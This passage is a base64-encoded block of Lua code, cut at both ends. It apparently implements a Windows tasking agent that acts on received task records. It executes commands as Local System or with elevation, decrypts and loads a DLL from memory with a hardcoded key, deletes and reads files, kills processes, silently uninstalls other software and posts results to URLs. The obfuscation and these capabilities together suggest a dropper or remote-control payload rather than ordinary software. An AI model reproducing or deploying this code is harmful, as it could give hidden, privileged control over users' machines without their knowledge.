IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
